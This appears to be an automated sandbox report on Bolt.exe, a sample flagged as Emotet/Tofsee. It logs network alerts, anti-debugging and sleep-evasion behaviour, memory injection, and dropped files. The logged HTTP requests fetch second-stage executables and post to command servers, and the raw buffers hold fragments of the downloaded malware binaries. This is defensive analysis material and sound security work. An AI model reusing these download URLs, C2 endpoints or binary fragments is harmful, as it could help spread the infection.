popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Bolt.exe

Emotet Gen1 Malicious Library UPX PWS PE64 AntiDebug MSOffice File PNG Format PE File OS Processor Check PE32 .NET EXE JPEG Format AntiVM DLL
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 Nov. 19, 2022, 9:39 a.m. Nov. 19, 2022, 9:51 a.m.
Size 381.0KB
Type PE32 executable (GUI) Intel 80386, for MS Windows
MD5 e91e8a603108c29db5d1a1ba1c8123fd
SHA256 d026b0f1bfa1ea1bc142695477450d6bd4c10e6d7cdbff1d4e8abaad8f04b6c1
CRC32 B8087EE2
ssdeep 6144:x/QiQXCWkm+ksmpk3U9j0IV/OGBfj/WUplm6zIOYQNd28pTXdAmpCLVRZoglM7LT:pQi3WP6m6UR0IV/lL//plmW9bTXeVhD4
Yara
  • Win32_Trojan_Emotet_2_Zero - Win32 Trojan Emotet
  • IsPE32 - (no description)
  • Malicious_Library_Zero - Malicious_Library
  • PE_Header_Zero - PE File Signature
  • UPX_Zero - UPX packed file

Suricata Alerts

Flow SID Signature Category
UDP 192.168.56.101:54148 -> 164.124.101.2:53 2027865 ET INFO Observed DNS Query to .cloud TLD Potentially Bad Traffic
TCP 192.168.56.101:49165 -> 151.115.10.1:80 2027874 ET INFO HTTP Request to Suspicious *.cloud Domain Potentially Bad Traffic
TCP 192.168.56.101:49165 -> 151.115.10.1:80 2027874 ET INFO HTTP Request to Suspicious *.cloud Domain Potentially Bad Traffic
TCP 192.168.56.101:49167 -> 37.230.138.123:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
UDP 192.168.56.101:52815 -> 164.124.101.2:53 2027865 ET INFO Observed DNS Query to .cloud TLD Potentially Bad Traffic
TCP 192.168.56.101:49170 -> 151.115.10.1:80 2027874 ET INFO HTTP Request to Suspicious *.cloud Domain Potentially Bad Traffic
TCP 151.115.10.1:80 -> 192.168.56.101:49170 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 151.115.10.1:80 -> 192.168.56.101:49170 2016538 ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download Potentially Bad Traffic
TCP 192.168.56.101:49171 -> 151.115.10.1:443 906200022 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:49172 -> 52.219.169.154:443 906200022 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 151.115.10.1:80 -> 192.168.56.101:49165 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 192.168.56.101:49176 -> 151.115.10.1:443 906200022 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
UDP 192.168.56.101:61950 -> 164.124.101.2:53 2027865 ET INFO Observed DNS Query to .cloud TLD Potentially Bad Traffic
TCP 192.168.56.101:49180 -> 37.230.138.123:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:49182 -> 37.230.138.123:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
UDP 192.168.56.101:53850 -> 164.124.101.2:53 2027865 ET INFO Observed DNS Query to .cloud TLD Potentially Bad Traffic
TCP 192.168.56.101:49168 -> 52.219.169.154:443 906200022 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:49169 -> 151.115.10.1:80 2027874 ET INFO HTTP Request to Suspicious *.cloud Domain Potentially Bad Traffic
TCP 151.115.10.1:80 -> 192.168.56.101:49169 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 151.115.10.1:80 -> 192.168.56.101:49169 2016538 ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download Potentially Bad Traffic
TCP 192.168.56.101:49169 -> 151.115.10.1:80 2027874 ET INFO HTTP Request to Suspicious *.cloud Domain Potentially Bad Traffic
TCP 151.115.10.1:80 -> 192.168.56.101:49169 2016538 ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download Potentially Bad Traffic
TCP 192.168.56.101:49179 -> 142.251.220.4:80 2036303 ET HUNTING Terse Unencrypted Request for Google - Likely Connectivity Check A Network Trojan was detected
TCP 192.168.56.101:49187 -> 192.243.59.13:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.101:49186 -> 192.243.59.13:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.101:49167
37.230.138.123:443 		C=CH, L=Schaffhausen, O=Plesk, CN=Plesk/emailAddress=info@plesk.com C=CH, L=Schaffhausen, O=Plesk, CN=Plesk/emailAddress=info@plesk.com a9:58:92:78:d9:50:a8:fa:c0:a9:d2:11:99:c2:6d:53:0e:1f:6d:49
TLS 1.2
192.168.56.101:49171
151.115.10.1:443 		C=US, O=Let's Encrypt, CN=R3 CN=s3.pl-waw.scw.cloud 13:5a:26:76:9b:02:b0:88:8d:ed:ac:89:e9:f3:d1:bd:f4:6d:ff:fd
TLS 1.2
192.168.56.101:49172
52.219.169.154:443 		C=US, O=Amazon, OU=Server CA 1B, CN=Amazon CN=*.s3.eu-central-1.amazonaws.com bc:92:6b:62:48:5f:c5:08:60:03:a9:1e:bc:29:58:79:d7:4b:94:fb
TLS 1.2
192.168.56.101:49176
151.115.10.1:443 		C=US, O=Let's Encrypt, CN=R3 CN=s3.pl-waw.scw.cloud 13:5a:26:76:9b:02:b0:88:8d:ed:ac:89:e9:f3:d1:bd:f4:6d:ff:fd
TLSv1
192.168.56.101:49180
37.230.138.123:443 		C=CH, L=Schaffhausen, O=Plesk, CN=Plesk/emailAddress=info@plesk.com C=CH, L=Schaffhausen, O=Plesk, CN=Plesk/emailAddress=info@plesk.com a9:58:92:78:d9:50:a8:fa:c0:a9:d2:11:99:c2:6d:53:0e:1f:6d:49
TLSv1
192.168.56.101:49182
37.230.138.123:443 		C=CH, L=Schaffhausen, O=Plesk, CN=Plesk/emailAddress=info@plesk.com C=CH, L=Schaffhausen, O=Plesk, CN=Plesk/emailAddress=info@plesk.com a9:58:92:78:d9:50:a8:fa:c0:a9:d2:11:99:c2:6d:53:0e:1f:6d:49
TLS 1.2
192.168.56.101:49168
52.219.169.154:443 		C=US, O=Amazon, OU=Server CA 1B, CN=Amazon CN=*.s3.eu-central-1.amazonaws.com bc:92:6b:62:48:5f:c5:08:60:03:a9:1e:bc:29:58:79:d7:4b:94:fb
TLSv1
192.168.56.101:49187
192.243.59.13:443 		C=US, O=Let's Encrypt, CN=R3 CN=profitabletrustednetwork.com 6a:48:45:b5:44:ae:75:f4:d2:b3:d4:5e:bc:2f:61:30:ec:d4:3a:99
TLSv1
192.168.56.101:49186
192.243.59.13:443 		C=US, O=Let's Encrypt, CN=R3 CN=profitabletrustednetwork.com 6a:48:45:b5:44:ae:75:f4:d2:b3:d4:5e:bc:2f:61:30:ec:d4:3a:99

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
section CODE
section DATA
section BSS
suspicious_features GET method with no useragent header suspicious_request GET http://gg90db2661-715df250cbed8bj4h8vwwr.s3.pl-waw.scw.cloud/sata/pub-dsynf65cgyy6b7uk.exe
suspicious_features GET method with no useragent header suspicious_request GET http://gg90db2661-715df250cbed8bj4h8vwwr.s3.pl-waw.scw.cloud/sata/up-da-dsynf65cgyy6b7uk.exe
suspicious_features GET method with no useragent header suspicious_request GET http://gg90db2661-715df250cbed8bj4h8vwwr.s3.pl-waw.scw.cloud/sata/hand-dsynf65cgyy6b7uk.exe
suspicious_features GET method with no useragent header suspicious_request GET http://www.google.com/
suspicious_features POST method with no referer header, POST method with no useragent header suspicious_request POST http://360devtracking.com/ezzcbmueaa4iwhvb/fmovies
suspicious_features POST method with no referer header, POST method with no useragent header suspicious_request POST https://connectini.net/Series/SuperNitouDisc.php
suspicious_features GET method with no useragent header suspicious_request GET https://wewewe.s3.eu-central-1.amazonaws.com/WeUninstalled.exe
suspicious_features GET method with no useragent header suspicious_request GET https://doll.s3.pl-waw.scw.cloud/widgets/powerOff.exe
suspicious_features POST method with no referer header, POST method with no useragent header suspicious_request POST https://connectini.net/Series/Conumer4Publisher.php
suspicious_features GET method with no useragent header suspicious_request GET https://connectini.net/Series/publisher/1/KR.json
suspicious_features POST method with no referer header, POST method with no useragent header suspicious_request POST https://connectini.net/Series/Conumer2kenpachi.php
suspicious_features GET method with no useragent header suspicious_request GET https://connectini.net/Series/kenpachi/2/goodchannel/KR.json
suspicious_features GET method with no useragent header suspicious_request GET https://connectini.net/Series/configPoduct/2/goodchannel.json
request HEAD http://gg90db2661-715df250cbed8bj4h8vwwr.s3.pl-waw.scw.cloud/samsung-carrers/poweroff.exe
request GET http://gg90db2661-715df250cbed8bj4h8vwwr.s3.pl-waw.scw.cloud/samsung-carrers/poweroff.exe
request GET http://gg90db2661-715df250cbed8bj4h8vwwr.s3.pl-waw.scw.cloud/sata/pub-dsynf65cgyy6b7uk.exe
request GET http://gg90db2661-715df250cbed8bj4h8vwwr.s3.pl-waw.scw.cloud/sata/up-da-dsynf65cgyy6b7uk.exe
request GET http://gg90db2661-715df250cbed8bj4h8vwwr.s3.pl-waw.scw.cloud/sata/hand-dsynf65cgyy6b7uk.exe
request GET http://apps.identrust.com/roots/dstrootcax3.p7c
request GET http://www.google.com/
request POST http://360devtracking.com/ezzcbmueaa4iwhvb/fmovies
request POST https://connectini.net/Series/SuperNitouDisc.php
request GET https://wewewe.s3.eu-central-1.amazonaws.com/WeUninstalled.exe
request GET https://doll.s3.pl-waw.scw.cloud/widgets/powerOff.exe
request POST https://connectini.net/Series/Conumer4Publisher.php
request GET https://connectini.net/Series/publisher/1/KR.json
request POST https://connectini.net/Series/Conumer2kenpachi.php
request GET https://connectini.net/Series/kenpachi/2/goodchannel/KR.json
request GET https://connectini.net/Series/configPoduct/2/goodchannel.json
request POST http://360devtracking.com/ezzcbmueaa4iwhvb/fmovies
request POST https://connectini.net/Series/SuperNitouDisc.php
request POST https://connectini.net/Series/Conumer4Publisher.php
request POST https://connectini.net/Series/Conumer2kenpachi.php
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2652
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2652
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 40960
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00401000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2652
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 20480
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0040f000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2652
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73bc2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00350000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2720
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73bc2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1452
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000046c0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2880
region_size: 1900544
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000008a0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2880
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000009f0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2880
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3a11000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2880
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef40ab000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2880
region_size: 720896
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000000480000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2880
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000004b0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2880
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3a12000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2880
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3a12000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2880
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3a12000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2880
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3a12000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2880
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3a12000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2880
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3a12000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2880
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3a12000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2880
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3a12000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2880
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3a12000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2880
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3a12000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2880
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3a12000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2880
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3a14000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2880
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3a14000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2880
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3a14000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2880
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3a14000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2880
region_size: 655360
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff10000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2880
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2880
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2880
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff20000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2880
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff00000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2880
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff00000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2880
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe9427a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2880
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe9428c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2880
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe943a0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2880
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe943a1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2880
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe943a2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2880
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe943a3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2880
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe943a4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2880
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe9432c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2880
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe94356000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2880
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe94330000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2880
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe9427b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2880
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe943a5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2880
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe943a6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2880
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe9428d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2880
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe943a7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2880
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe943a8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0
description SHykigusena.exe tried to sleep 201 seconds, actually delayed analysis time by 201 seconds
description Laetymaerifae.exe tried to sleep 172 seconds, actually delayed analysis time by 172 seconds
file C:\Users\test22\AppData\Local\Temp\4b-cbf10-263-922b1-a9940130e9e54\Laetymaerifae.exe
file C:\Users\test22\AppData\Local\Temp\is-9I5HS.tmp\_isetup\_shfoldr.dll
file C:\Program Files (x86)\Common Files\Sahajavuma.exe
file C:\Users\test22\AppData\Local\Temp\is-9I5HS.tmp\idp.dll
file C:\Users\test22\AppData\Local\Temp\is-9I5HS.tmp\PowerOff.exe
file C:\Users\test22\AppData\Local\Temp\dc-1b113-c03-fcb87-222b96c802939\SHykigusena.exe
file C:\Users\test22\AppData\Local\Temp\dc-1b113-c03-fcb87-222b96c802939\SHykigusena.exe
file C:\Users\test22\AppData\Local\Temp\4b-cbf10-263-922b1-a9940130e9e54\Laetymaerifae.exe
file C:\Users\test22\AppData\Local\Temp\dc-1b113-c03-fcb87-222b96c802939\SHykigusena.exe
file C:\Users\test22\AppData\Local\Temp\4b-cbf10-263-922b1-a9940130e9e54\Laetymaerifae.exe
file C:\Users\test22\AppData\Local\Temp\is-9I5HS.tmp\_isetup\_shfoldr.dll
file C:\Users\test22\AppData\Local\Temp\is-9I5HS.tmp\idp.dll
file C:\Users\test22\AppData\Local\Temp\is-9I5HS.tmp\PowerOff.exe
file C:\Users\test22\AppData\Local\Temp\is-G4CRF.tmp\Bolt.tmp
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 1380
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 16 (PAGE_EXECUTE)
base_address: 0x071f0000
process_handle: 0xffffffff
1 0 0
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Time & API Arguments Status Return Repeated

InternetReadFile

 buffer: MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL$áà" 0^¢| €@ @ @…À{K€€Ÿ  H.text\ ^ `.rsrc€Ÿ€ `@@.reloc  @Bð{H Ò ©,(½Õ§8¨(“¹[¶(¶9]FXUñ”ûVvz/Bä·:ªñ¹—W˘ó§œ²¹và˜þ¹©c´FLTäü¶P…M ÅuªŠ‰ÇaÈsÜR Å 6·¶ÜAÿÏÿt«?<òËÔA>™P՜2û¸«Ww圮:Œ /ÿ´91»¸uL´<@€R¬3ŠùÕ$¦e”!Æ ¬! *^a($ÙâW`„­-9îë[5m¹]ŒÎŸòŽ&båúWL5¥ÌjÍê¡O^ÿí|j`w¼ºŠš>.{wdÒÜt®—+…ø³H¯©‡ÚÐK–ÏŽhÓé0J©¿O]K•¿MÕ´~´Š‘P/LO:R„3#ÈNý—µæcÅëâí>;ÑNa´_ñs(À o[AÇ©Â&JȬ¼+íRýƒ'“}×ÉB–@ì[|!¼wS!£ \+d3]À×||Jï³`@Il‹mÍ쉗~ì9·ÇaoóÚüÙ}mPvñQ!ûÈtÞownÑ­n`· šÂ՚ñG·J<L£:•òæ 3jaqÌ%š«ãßé§
request_handle: 0x00cc000c
1 1 0

recv

 buffer: HTTP/1.1 200 OK content-length: 600576 x-amz-id-2: txe8dba6ed02d14b0fad579-0063782817 accept-ranges: bytes last-modified: Fri, 18 Nov 2022 17:17:46 GMT etag: "436e921da691211e16a1adb9ff4d90cd" x-amz-request-id: txe8dba6ed02d14b0fad579-0063782817 x-amz-version-id: 1668791866723311 content-type: application/octet-stream date: Sat, 19 Nov 2022 00:49:27 GMT MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELjJecà" 0x°^—  @ € @…—W 8­`  H.textdw x `.rsrc8­ ®z@@.reloc ` ( @B@—HPt´"’;áHæ“Á8;š•b’#›ûò³:í¥ÿ~tˆñ¥Üþ”!æVQŠô*ÉJoi+ð¢Ýí`v÷SÂÑJ'Äè×5ÝT óI9ƒì#6×sr=Fqû¡mx}Օ*"ü…4G¯‡÷ Á$n‰ ã†Ã‰’Wï"Eƒ®2‹ö†ò>ÿàêGé=ú39LåYÛg–ß3؞÷’> ä àšPšx¡nb õ 3]ó¹•ßÿ ÑIXzâŒÖF!ˆí »DsæE«÷|r®Q2G“\jÅ<0Ön%<Ï7¥Ù&Å n¿BXhõÉCÝ3ó! ä (¶Õ1 ´xF¾]KôïáAë(°&Bñ&¨ÜÈõ³É@\ô]ä÷%_°1-­R­ô½öÕò9qm­}`VÎoÎ*ýÔ @„Ív›”ùj·4RI*g²zo£ 